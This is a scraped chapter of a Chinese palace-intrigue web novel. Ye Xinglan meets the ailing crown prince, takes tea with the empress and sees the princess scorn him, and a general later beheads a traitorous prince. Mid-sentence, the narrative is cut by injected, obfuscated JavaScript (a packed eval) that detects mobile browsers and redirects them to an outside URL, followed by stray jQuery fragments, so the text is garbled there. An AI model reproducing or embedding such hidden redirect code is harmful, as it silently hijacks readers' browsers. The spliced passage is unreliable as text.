男子的目光在她脸上停留一瞬，接着从袖袋中取出帕子掩住口鼻，咳了几声，略有为难地重新看向她，温声道：“可是穆将军的夫人？”


    叶星澜奇怪男子如何知道，身后忽地传来一声急促又尖锐的声音：“太子殿下！老奴可找着你了。”


    穿着淡青色长袍，有些年纪的中年男子气喘吁吁地跑来，身后还跟着小宫女。只是男子话到一半，见叶星澜站在此处，诧异道：“穆夫人怎得在此处？”


    怕被人误会，叶星澜忙解释，声音里带着几分尴尬和慌乱：“我得了皇后娘娘召见.......稍一分神就迷路了，原想着寻人带路，这才遇见太子殿下。”说完又冲抬手虚掩着脸的太子点头微笑，以表不识身份的歉意。


    中年男子神情释然，继而严肃转向太子，可太子似乎对男人多有防备，朝前迈了一步，道：“恰巧我也是去给皇后娘娘请安的，可为夫人引路。”


    太子倒热情，叶星澜侧身为其让路。


    中年男子立刻追在太子身后：“太子咳疾未愈，实在不宜多走动，若再染风寒恐加重病情。今日的汤药还未用，若陛下知道，定会多有责怪......”


    “待我向皇后娘娘请安后自会让人去太医院拿药，何必梁大人枉费心思专程寻我。”


    太子说时又咳了一声，哪怕梁太医已经从宫女手中接过汤药递于太子面前，太子也不停下脚步，反而加快了。


    “太子殿下可莫要再欺我了，昨日和前日你就是这么说的，我徒弟等到夜里也没等来太子身边的人。”


    “许是事忙，忘了。”


    叶星澜在一旁静静听着，才知太子上次没能主持消暑宴便是因为染上咳疾，三个多月过去依旧时常复发，未见明显好转。


    只是没想到太子殿下这么大的人也会为了不喝药推三阻四，避之不及的任性样子着实像个孩子。她不免哼出一声笑，惹得太子和梁大人同时回头望向她，她立刻抬手捂住口鼻，打了个喷嚏后讪讪一笑。


    一行人行至假山前，梁大人这才停下脚步，眼巴巴望着太子道：“我就在此处等着太子。”


    男子并不在意，果断扭头，一副“你爱等就等”的表情，清秀的眉眼隐约散发着不容置疑的皇家威严。


    御花园不似山野秋景的热烈，飞檐翘角从橙黄的银杏叶间伸出，琉璃瓦上停下几只落单鸟雀，啾鸣几声又飞走。清冷的空气中还有淡淡的桂花香味，心神宁静。落叶飘飘落入池中，池中锦鲤摇尾而过，御花园内的一切都仪态万方，也许是因为池边站着的女人贵为皇后，叶星澜觉察到，有形无形的规矩不仅束缚了人，万物亦是如此。


    她同太子一道走到皇后面前行礼。皇后放下手里的金剪，笑容亲切：“你们二人怎么一同来了？”


    太子作揖笑道：“穆夫人在宫里迷了路，碰巧我要来给您请安。”


    “我不是早就免了你的请安吗？你身子不适，自是养病要紧。来人，取件大氅给太子披上。”


    皇后嗔怪地瞅了太子一眼，接着走到叶星澜面前，亲昵地拉起她的手，笑道：“听说你进了宫，便想着唤你来坐一坐。中秋宴时不便同你多语，眼下终于有机会了。说来也怪，本宫见你第一眼就像见着亲女儿似的，喜欢得很。”


    叶星澜心头一暖，暗道：“皇后娘娘！你可别小瞧亲生母女之间的羁绊！”


    “听说你协助将作监完成南古寺修缮。那将作监的活儿不轻松，灰尘漫天，你身为女儿家待在那里，一定吃了不少苦头吧......”


    顶着和妈妈一模一样的面容，而且皇后对她多有关心，叶星澜根本做不到心如止水，脑子里却不断提醒自己君臣有别。


    她多想扑进皇后的怀里大哭痛哭，却只能扯着笑容接过皇后递到手边的茶杯，轻声道：“多谢皇后娘娘。”


    “你的手怎得这般凉？”皇后收回触碰她的指尖，扭头望向身侧的宫女，“拿个手炉来。”


    闻言，叶星澜的眼底忽地涌出两行泪，她怕被人瞧见，紧忙端起茶杯，一蓬蓬的热气茶香扑在脸上，鼻尖反倒更酸了。


    皇后娘娘还是注意到她的异样，倾着身子靠近了些，又笑又怨道：“怎么了这是？这御花园还是这茶不合你意，说与本宫听听。”


    她急忙摇头，顾不上形象，用手背抹了两把泪，哽咽道：“皇后娘娘待我太好，让我想起了自己的母亲。”


    宫女取来手炉，皇后接过便塞进叶星澜的手里，只是那么一瞬，手炉便染上皇后娘娘身上令人心安的气味，她勉强止住哭意，抬眸看向依旧和颜悦色的皇后，“我失礼了，还请皇后娘娘恕罪。”


    她说着要跪下，皇后见状，双手托住她的胳膊，“无妨，本宫见你这样怎么好怪罪呢？”


    不等她开口，皇后重新坐正身子，定在她脸上的目光移至石桌上摆着的一套茶具，笑道：“早前听公主说你泡茶的功夫京城无人能比，不知本宫能否讨口茶喝？”


    这会儿又点头如捣碎，叶星澜把手炉放下，眼含热意地在皇后面前卖弄一番泡茶的手艺。皇后很是捧场，每次未到精彩时刻，先发出一声夸张到有些好笑的惊叹：“啊呀——这样的手艺何止京城无人能比，得让陛下封个茶官给你当当。”


    周围的宫人的目光也慢慢聚集在她的手指间，叶星澜这下更卖力了，反手抛杯的动作做了两遍才满意，倒完茶后双手奉上：“请皇后娘娘用茶。”


    皇后看上去有些欢喜过头，滚烫的茶水当酒一般仰头一口闷掉，让叶星澜更为激动，小时候她刚学会泡茶时她的妈妈也是如此反应。


    她只顾着倒茶，未察觉皇后用帕子掩住半张脸，不停张嘴吐气哈气的动作。


    等到第二杯茶即将奉上时，身后传来一阵耳熟且霸道的声音。


    “你不是病着么，还有闲情逸致来御花园赏花？”


    循声回头，长公主一身红装站在园中，面容艳丽张扬，真有百花之首的高傲之姿。


    被刁难的太子并不气恼，缓缓道：“成日待在家中养病自然无聊，多来陪陪母亲，兴许恢复得更快。”


    “太子殿下还是谨慎些，免得好心办坏事。”


    “姐姐这是何意？”


    “别把咳疾染给母亲，拿好你的帕子吧。”


    公主打压太子，看起来并不像逞口舌之快，得一时高兴。而被为难的太子依旧面带笑容，不知是把公主的话当耳旁风，还是心里计谋着如何报复。


    只有皇后揉了揉眉心，很是烦恼地站起身冲两人道：“姐弟之间哪有隔阂，快来喝茶吧。”


    叶星澜起身朝两人行礼，待太子与公主坐下后才放心落座。公主对她的出现倒不意外，与皇后话语间只不咸不淡地瞥了她两眼，可瞅太子的几眼有许多藏不住的鄙夷。


    叶星澜默默喝茶，实则一直在观察太子与公主的相处模式。


    为什么公主对太子这么不待见，太子也好脾气地受着？身为母亲兼长辈的皇后似是知道两人的隔阂，才会同公主说三句话，转头又和太子闲聊几句，接着又把她拉入话题。


    都说子女不和多是老人无德，可皇后明明一碗水端得很平了。公主为什么不喜欢太子呢？


    叶星澜正分神思考，搁在桌上的手背突然被一股热意覆住，她回过神，皇后方才松开手，道：“这几日天气好，不如同我们一道去山庄赏景？”


    叶星澜答应都来不及，旁边的公主突然没好气地哼了一声，她以为公主是冲着自己来的，刚想开口问，怎知公主道：“来时瞧见太医院的梁大人就在御花园外候着，怕是又守着弟弟喝药的吧？真是像个没断奶的孩子。我看太子还是好生养病吧。”


    周围空气隐约有一丝硝烟味，加之太子重重地咳嗽一声，公主面露嫌恶侧过头。作为旁观者的叶星澜不由得紧张起来，十指紧缠着。


    一张脸咳得更加疲累，太子道：“我这病待在屋子里也不见得好，不如同母亲和姐姐出去走走，换换心情。”


    公主硬骨头，事事刁难。太子软柿子，处处容忍。


    这样的关系，叶星澜头一回见。


    真是见了鬼了！到底谁才是太子？


    茶凉天


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16994523|184822||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    色暗，皇后遣了人送叶星澜至宫门处。宫门外有两辆马车并排停着，一辆是午后送她来的，另一辆格外眼熟，仔细一瞧才发现也是穆府的马车。


    马车上跳下来的妙龄女子，同样一袭红裙，腰侧处别着的短刀是从背后区分穆岚风和长公主最显眼的物件。


    穆岚风站在远处和她四目相对，隐约担忧的神情没一会儿就荡然无存，穆岚风走近了，站在她面前双手叉腰，没好气道：“你别误会，是祖母让我来看看。”


    “看什么？”


    “谁知道你这个闯祸精在宫里会不会惹出什么祸来，哥哥不在家，到时候还不是祖母来帮你收拾烂摊子。”


    被皇后疼爱过，叶星澜沉浸在幸福里飘飘然，挂在脸颊的笑意虽淡几分，但并不把穆岚风的话放在心上。


    两人正准备上马车时，忽然被人叫道。


    “穆家二小姐也来了？”公主站在马车前，大嗓门听起来心情就不好，“不知穆二小姐几日后可有空，不如同我们一道去游玩，她也有个伴。”


    穆岚风面露不快，但公主毕竟是公主，尤其是那股显而易见的强硬态度根本无法拒绝。


    公主见穆岚风不语，继续道：“差点忘了，穆二小姐和许修远定了亲，那我好人做到底，也给许家公子下帖子好了。”


    提到许修远，穆岚风的脸色更郁沉了，叶星澜唯恐帘子拉下后，穆岚风又会迁怒于她，上前一步挡住穆岚风，落落大方道：“多谢公主好意，只是岚风近日忙于管家无暇抽身，怕是不能——”


    “帖子明日一早递于穆府。”公主根本不管别人愿不愿意，说完就转身乘车离开。


    只剩穆岚风站在原地，拳头捏得紧紧的，抬眼又瞪着叶星澜。叶星澜摊开手，无奈道：“没办法，谁让她是公主。”


    马车上，叶星澜等穆岚风表情稍微好点，问道：“公主和太子为什么关系不好？”


    “我怎么知道。”穆岚风颇有不耐烦，双手环在胸前，“公主本来就跋扈，又是皇后所生，自然瞧不起人。太子和修远一样，幼时生母便过世了。”


    同父异母的姐弟。难道公主已经小心眼到不准别人分走皇后的爱，所以处处刁难？


    可皇后对她多有关心，公主看在眼里却没有任何表示。还是说，公主根本不把她放在眼里。不把她放在眼里才好，公主这号人物，她是惹不起的。


    冷风吹开帘子，雪花落在玄色铁甲上，为黑压压一片的镇北军多添上几分肃寂。


    被亲卫里里外外包围住的齐王一身锦袍，与这战场格格不入。齐王挥手向马背上的镇北将军，摆出常用的虚伪笑容道：“将军可听本王说几句，北狄已许本王......”


    寒风猎猎鼓动衣角，那声音好似鬼魅蛊惑人心般虚无飘渺。构陷重臣，通敌叛国，致使北境三城化作焦土，数万百姓沦为白骨......这一笔笔，岂是三言两语就能扭曲？


    手握长剑，高坐马背的穆随面露鄙夷之色，目光紧锁在嘴巴不住张合的人身上，多听一个字，他心里都不畅快。


    急促的马蹄声盖过猎猎风响，泛着凄惨天光的刀面劈开风雪，划出一条血淋淋的路。齐王周围的亲卫没料到镇北将军如此心急，顿时慌慌抽刀挡在齐王身前。


    战马受了刺激，更停不下来。马背上的将军微微俯身，手背筋络似盘根错节的树枝，握在手心的刀更似一道凌厉闪电，齐王没能说出最后的“共享太平”，瞪大的一双眼睛跟着脑袋在地上翻滚，皮球似的扑通扑通响，诡异血腥。


    杂乱的刀剑声，嘶吼声瞬时停住，时间仿佛暂停一般。


    穆随毫不避讳地将刀尖斜指地面，黏稠的鲜血滴落，在雪面上砸出一汪小血潭。


    他心满意足扬起嘴角，用刀尖精准地挑起那颗头颅的发髻，将其高高举起，斩钉截铁道：“叛国贼首级已取！众将士随我踏平北狄——”


    冰天雪地下，压抑已久的愤怒和屈辱在刺客全数化作直冲云霄的咆哮，“将军万胜！镇北军万胜！”将士们用刀敲响盾，声浪一波高过一波，天地都为之颤抖。